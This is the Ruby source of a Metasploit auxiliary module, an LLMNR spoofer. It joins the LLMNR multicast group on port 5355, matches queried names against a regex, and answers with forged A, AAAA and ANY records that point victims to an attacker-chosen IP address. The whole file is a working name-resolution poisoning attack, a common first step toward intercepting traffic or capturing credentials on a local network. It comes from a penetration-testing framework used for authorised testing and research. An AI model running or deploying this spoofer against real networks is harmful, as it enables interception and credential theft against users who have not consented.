metasploit-framework/modules/auxiliary/spoof/llmnr/llmnr_response.rb

234 lines
6.8 KiB
Ruby

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'socket'
require 'ipaddr'
require 'net/dns'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Capture
attr_accessor :sock, :thread
def initialize
super(
'Name' => 'LLMNR Spoofer',
'Description' => %q{
LLMNR (Link-local Multicast Name Resolution) is the successor of NetBIOS (Windows Vista and up) and is used to
resolve the names of neighboring computers. This module forges LLMNR responses by listening for LLMNR requests
sent to the LLMNR multicast address (224.0.0.252) and responding with a user-defined spoofed IP address.
},
'Author' => [ 'Robin Francois <rof[at]navixia.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.ietf.org/rfc/rfc4795.txt' ]
],
'Actions' =>
[
[ 'Service' ]
],
'PassiveActions' =>
[
'Service'
],
'DefaultAction' => 'Service'
)
register_options([
OptAddress.new('SPOOFIP', [ true, "IP address with which to poison responses", ""]),
OptRegexp.new('REGEX', [ true, "Regex applied to the LLMNR Name to determine if spoofed reply is sent", '.*']),
OptInt.new('TTL', [ false, "Time To Live for the spoofed response", 30]),
])
deregister_options('RHOST', 'PCAPFILE', 'SNAPLEN', 'FILTER')
self.thread = nil
self.sock = nil
end
def dispatch_request(packet, rhost, src_port)
rhost = ::IPAddr.new(rhost)
# `recvfrom` (on Linux at least) will give us an ipv6/ipv4 mapped
# addr like "::ffff:192.168.0.1" when the interface we're listening
# on has an IPv6 address. Convert it to just the v4 addr
if rhost.ipv4_mapped?
rhost = rhost.native
end
dns_pkt = ::Net::DNS::Packet.parse(packet)
spoof = ::IPAddr.new(datastore['SPOOFIP'])
# Turn this packet into a response
dns_pkt.header.qr = 1
dns_pkt.question.each do |question|
name = question.qName
unless name =~ /#{datastore['REGEX']}/i
vprint_status("#{rhost.to_s.ljust 16} llmnr - #{name} did not match REGEX \"#{datastore['REGEX']}\"")
next
end
if should_print_reply?(name)
print_good("#{rhost.to_s.ljust 16} llmnr - #{name} matches regex, responding with #{datastore['SPOOFIP']}")
end
# qType is not a Integer, so to compare it with `case` we have to
# convert it
case question.qType.to_i
when ::Net::DNS::A
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::A,
:address => spoof.to_s
)
when ::Net::DNS::AAAA
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::AAAA,
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
)
when ::Net::DNS::ANY
# For ANY queries, respond with both an A record as well as an AAAA.
dns_pkt.answer << ::Net::DNS::RR::A.new(
:name => name,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::A,
:address => spoof.to_s
)
dns_pkt.answer << ::Net::DNS::RR::AAAA.new(
:name => name,
:ttl => datastore['TTL'],
:cls => ::Net::DNS::IN,
:type => ::Net::DNS::AAAA,
:address => (spoof.ipv6? ? spoof : spoof.ipv4_mapped).to_s
)
when ::Net::DNS::PTR
# Sometimes PTR queries are received. We will silently ignore them.
next
else
print_warning("#{rhost.to_s.ljust 16} llmnr - Unknown RR type (#{question.qType.to_i}), this shouldn't happen. Skipping")
next
end
end
# If we didn't find anything we want to spoof, don't send any
# packets
return if dns_pkt.answer.empty?
udp = ::PacketFu::UDPHeader.new(
:udp_src => 5355,
:udp_dst => src_port,
:body => dns_pkt.data
)
udp.udp_recalc
if rhost.ipv4?
ip_pkt = ::PacketFu::IPPacket.new(
:ip_src => spoof.hton,
:ip_dst => rhost.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
elsif rhost.ipv6?
ip_pkt = ::PacketFu::IPv6Packet.new(
:ipv6_src => spoof.hton,
:ipv6_dst => rhost.hton,
:ip_proto => 0x11, # UDP
:body => udp
)
else
# Should never get here
print_error("IP version is not 4 or 6. Failed to parse?")
return
end
ip_pkt.recalc
capture_sendto(ip_pkt, rhost.to_s, true)
end
def monitor_socket
while true
rds = [self.sock]
wds = []
eds = [self.sock]
r,_,_ = ::IO.select(rds,wds,eds,0.25)
if (r != nil and r[0] == self.sock)
packet, host, port = self.sock.recvfrom(65535)
dispatch_request(packet, host, port)
end
end
end
# Don't spam with success, just throttle to every 10 seconds
# per host
def should_print_reply?(host)
@notified_times ||= {}
now = Time.now.utc
@notified_times[host] ||= now
last_notified = now - @notified_times[host]
if last_notified == 0 or last_notified > 10
@notified_times[host] = now
else
false
end
end
def run
check_pcaprub_loaded()
::Socket.do_not_reverse_lookup = true # Mac OS X workaround
# Avoid receiving extraneous traffic on our send socket
open_pcap({'FILTER' => 'ether host f0:f0:f0:f0:f0:f0'})
# Multicast Address for LLMNR
multicast_addr = ::IPAddr.new("224.0.0.252")
# The bind address here will determine which interface we receive
# multicast packets from. If the address is INADDR_ANY, we get them
# from all interfaces, so try to restrict if we can, but fall back
# if we can't
bind_addr = get_ipv4_addr(datastore["INTERFACE"]) rescue "0.0.0.0"
optval = multicast_addr.hton + ::IPAddr.new(bind_addr).hton
self.sock = Rex::Socket.create_udp(
# This must be INADDR_ANY to receive multicast packets
'LocalHost' => "0.0.0.0",
'LocalPort' => 5355,
'Context' => { 'Msf' => framework, 'MsfExploit' => self }
)
self.sock.setsockopt(::Socket::SOL_SOCKET, ::Socket::SO_REUSEADDR, 1)
self.sock.setsockopt(::Socket::IPPROTO_IP, ::Socket::IP_ADD_MEMBERSHIP, optval)
self.thread = Rex::ThreadFactory.spawn("LLMNRServerMonitor", false) {
monitor_socket
}
print_status("LLMNR Spoofer started. Listening for LLMNR requests with REGEX \"#{datastore['REGEX']}\" ...")
add_socket(self.sock)
self.thread.join
end
def cleanup
if self.thread and self.thread.alive?
self.thread.kill
self.thread = nil
end
close_pcap
end
end